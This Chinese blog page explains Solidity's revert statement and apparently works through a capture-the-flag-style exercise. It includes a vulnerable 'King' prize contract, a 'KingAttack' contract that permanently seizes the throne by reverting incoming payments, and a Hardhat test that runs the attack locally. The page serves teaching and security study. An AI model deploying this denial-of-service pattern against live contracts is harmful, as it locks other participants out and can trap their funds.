- 浏览: 765153 次
- 性别:
- 来自: 深圳
文章分类
- 全部博客 (1045)
- 数据结构 (36)
- UML与设计模式 (42)
- c++ (87)
- rust (36)
- Qt (41)
- boost模板元编程 (43)
- Linux (77)
- 汇编 (4)
- 其它 (2)
- 烹饪 (3)
- unix c / socket (73)
- 软件工程 (4)
- shell (53)
- Python (37)
- c++ primer 5th(c++11) (22)
- 数据库/MySQL (27)
- 数据存储 (4)
- lisp (7)
- git (4)
- Utility (3)
- CDN与DNS (54)
- Http (53)
- php (7)
- nginx/lua/openresty (41)
- redis (11)
- TCP/IP (16)
- 互联网 (6)
- kernel (2)
- go (34)
- 区块链 (43)
- 比特股 (13)
- 以太坊 (23)
- 比特币 (23)
- 密码学 (10)
- EOS (53)
- DAG (1)
- docker (1)
- filecoin (7)
- solidity (65)
- ipfs (8)
- 零知识证明 (1)
- openzeppelin (3)
- java (1)
- defi (7)
- Ton (0)
最新评论
1.和require类似,在一些复杂代码时可以结合error使用
2.通过revert阻止程序继续执行
// SPDX-License-Identifier: MIT pragma solidity >= 0.6.0; import "hardhat/console.sol"; contract Revert { error TooEarly(uint time); error TooLate(uint time); function test(uint t)external{ if(t<100){ revert TooEarly(t); } if(t>1000){ revert TooLate(t); } } }
2.通过revert阻止程序继续执行
// SPDX-License-Identifier: MIT pragma solidity >= 0.6.0; import "hardhat/console.sol"; contract King { address payable king; uint public prize; address payable public owner; constructor() public payable { owner = payable(msg.sender); king = payable(msg.sender); prize = msg.value; } receive() external payable { console.log("0.1"); require(msg.value >= prize || msg.sender == owner); console.log("0.2"); king.transfer(msg.value); console.log("0.3"); king = payable(msg.sender); console.log("0.4"); prize = msg.value; } function _king() public view returns (address payable) { return king; } }
pragma solidity >= 0.6.0; import "hardhat/console.sol"; contract KingAttack{ address public owner; constructor()public{ owner = msg.sender; } function attack(address payable addr)public{ console.log("1.0:",addr); (bool success, ) = addr.call{gas:1000000,value:1 ether}(""); console.logBool(success); } receive() external payable{ if(msg.sender!=owner){ revert(); } } }
const { expect } = require("chai"); const { ethers } = require("hardhat"); const Tx = require("ethereumjs-tx"); contractName = "King"; attackContractName = "KingAttack"; describe(contractName, function () { it("test ", async function () { const Contract = await ethers.getContractFactory(contractName); const contract = await Contract.deploy(); console.log("king:",await contract._king()); console.log("prize:",await contract.prize()); const ContractAttack = await ethers.getContractFactory(attackContractName); const contractAttack = await ContractAttack.deploy(); [user1, user2] = await ethers.getSigners(); const tx = await user1.sendTransaction({ to: contractAttack.address, value: ethers.utils.parseEther("1.0"), }); const balance = await ethers.provider.getBalance(contractAttack.address); console.log("attack balance:",balance) await contractAttack.attack(contract.address); const tx2 = await user2.sendTransaction({ to: contract.address, value: ethers.utils.parseEther("2.0"), }); console.log("new king:",await contract._king()); console.log("new prize:",await contract.prize()); }); });
发表评论
-
TypeError:ethers_1.getAddress
2024-04-29 10:45 282package.json 添加:"@nomicfou ... -
solidity
2023-02-25 14:23 12一.solidity 1.EVM 不是基于寄存器的,而是基于栈 ... -
solidity
2023-02-25 14:23 11一.solidity 1.EVM 不是基于寄存器的,而是基于栈 ... -
solidity
2023-02-25 14:23 267一.solidity 1.EVM 不是基于寄存器的,而是基于栈 ... -
Address
2023-02-23 10:54 5// contracts/Box.sol // SPDX ... -
Address
2023-02-23 10:50 230// contracts/Box.sol // SPDX ... -
Beacon
2023-02-20 11:45 242Beacon a.Implementation地址并不存放在P ... -
UUPS
2023-02-17 16:16 273a.Proxy直接把所有的请求都通过delegatecall丢 ... -
Transparent
2023-02-16 15:44 224Transparent: a.如果Proxy合约发现自己被Pr ... -
string转bytes
2023-02-16 11:04 294const data = Buffer.from(''); ... -
hardhat命令
2023-02-13 09:58 3521.前置准备,运行一个新项目 mkdir my-project ... -
multicall
2023-01-31 20:11 201multicall的solidity调用与ethers.js调 ... -
检查是否是721
2023-01-31 15:18 162// SPDX-License-Identifier: M ... -
EVM操作码
2023-01-25 10:33 3042.栈和内存操作码 2.1 POP:取出栈顶元素 2.2 PU ... -
计算合约地址
2023-01-19 11:27 252EVM会根据发送者地址和nonce经过RLP编码后再进行kec ... -
标准修饰符
2023-01-18 17:03 1641.internal:类似c++中的protected,通过J ... -
ABI编码函数
2023-01-17 10:40 3131. abi.encode()returns(bytes):对 ... -
数据位置
2023-01-17 10:24 1841.函数参数包括返回的参数默认是memory 2.局部变量默认 ... -
随机数
2023-01-17 10:06 204https://www.paradigm.xyz/2023/0 ... -
extcodesize
2023-01-16 11:16 298extcodesize取出的byte code长度,若长度大于 ...
相关推荐
然而,有时候在尝试“VM resize revert”时可能会遇到失败的问题,这通常与内存、磁盘或网络资源的调整有关。本文将深入探讨这个问题,分析可能的原因,并提供解决策略。 首先,我们需要理解“VM resize revert”的...
Git Reset vs Git Revert Git Reset 和 Git Revert 是两个常用的 Git 命令,用于撤销或回退版本,但它们的用法和实现有所不同。本文将详细介绍 Git Reset 和 Git Revert 的理解、区别和使用场景。 一、Git Reset ...
NX二次开发UF_ASSEM_revert_explode_comp 函数介绍,Ufun提供了一系列丰富的 API 函数,可以帮助用户实现自动化、定制化和扩展 NX 软件的功能。无论您是从事机械设计、制造、模具设计、逆向工程、CAE 分析等领域的...
Revert
IDR的最新版本,直接解压运行.exe即可,这里面有delphi5的Bin类,增强分析delphi 5code 其他版本的bin我下载后再上传 ,包里面有源码,感兴趣的朋友可以研究,以后会上传各个版本的bin
安装npm i -- save - dev vuex - revert要求由于此插件利用了装饰器,因此您需要设置Babel以及插件。用法作为Vuex插件,首先需要在定义Vuex存储时在插件函数数组中指定它。 import { vuexRevert } from 'vuex-revert...
在开发过程中,由于误操作或者需要撤销某些提交,Git 提供了两种恢复之前版本的方法:`git reset` 和 `git revert`。这两种方法各有其适用场景,理解它们的区别和使用方法对于有效地管理代码历史至关重要。 1. **...
此时,代码已正式入库,无法再被Abandoned,如果需要撤销,可以使用Revert操作。 4. **Abandoned状态**: 如果代码无法入库,比如因为存在问题或不再需要,可以将其设置为Abandoned。废弃的代码不能直接恢复到...
REVEal渲染测试-REVERT Revert是一个参考iOS项目,旨在帮助测试的性能和准确性, 是的运行时视图层次结构检查工具。 它包含许多示例,突出显示了常见情况和极端情况。 还原是通用的iOS 7+应用程序,同时支持纵向和...
- `web_revert_auto_header`:撤销添加的特定头,但保留隐性头。 - `web_save_header`:将请求和响应头保存到变量中。 11. **代理服务器函数**: - `web_set_proxy`:设置Vuser通过指定代理服务器访问HTTP资源。...
### Git Revert与Git Reset详解 #### 一、引言 在版本控制工具Git中,`git revert`和`git reset`是两个非常重要的命令,它们可以帮助开发人员撤销之前的操作,但二者的实现机制和使用场景有所不同。本文将详细介绍...
seven segmaent stats for
在Git版本控制系统中,`git reset` 和 `git revert` 是两个非常重要的命令,它们用于撤销或回滚代码更改。这两个命令在处理错误的合并、回退到特定版本或者修复历史记录时尤其有用。让我们详细了解一下这两个命令...
一些信息把十六进制的数以字符串的形式存在文本中(str = "1A"),需要提取出来转换成数字使用。
标题“Revert GitHub Font-crx插件”指的是一个专门为GitHub用户设计的Chrome浏览器扩展程序,它的主要目的是恢复GitHub在2016年7月12日之前所使用的字体和字号设置。这个插件是为了应对GitHub在那一天进行的一项...
在IT行业中,"resetRevert"通常指的是在软件或系统中执行恢复到先前状态的操作。这个概念广泛应用于各种场景,包括文件编辑、版本控制、数据库管理等。在编程和开发过程中,"重置"和"还原"是两个关键的术语,它们在...
`git-revert`是Git中的一个命令,它允许用户撤销特定的提交,将其更改反向应用到当前工作树和历史记录中。这个命令对于修复错误的提交或者回退到某个稳定状态非常有用。在标题和描述中提到的场景,“buildtest失败”...
参见 timer-revert-delay,默认为 15 秒。 这很有用,因为 emacs 的自动恢复模式没有告诉频率的工具。 我的用例是在写 latex 文档时,后台运行 make 需要一些时间才能完成,通常是 5 到 10 秒。 与 auto-revert-...
gulp-revert-path 还原先前的file.path更改 许多插件file.path以某种方式更改file.path 。 最常见的是文件扩展名。 例如,因为.jsx gulp-babel编译JSX,所以将.jsx扩展名更改为.js 。 有时候这是不可取的。 该插件...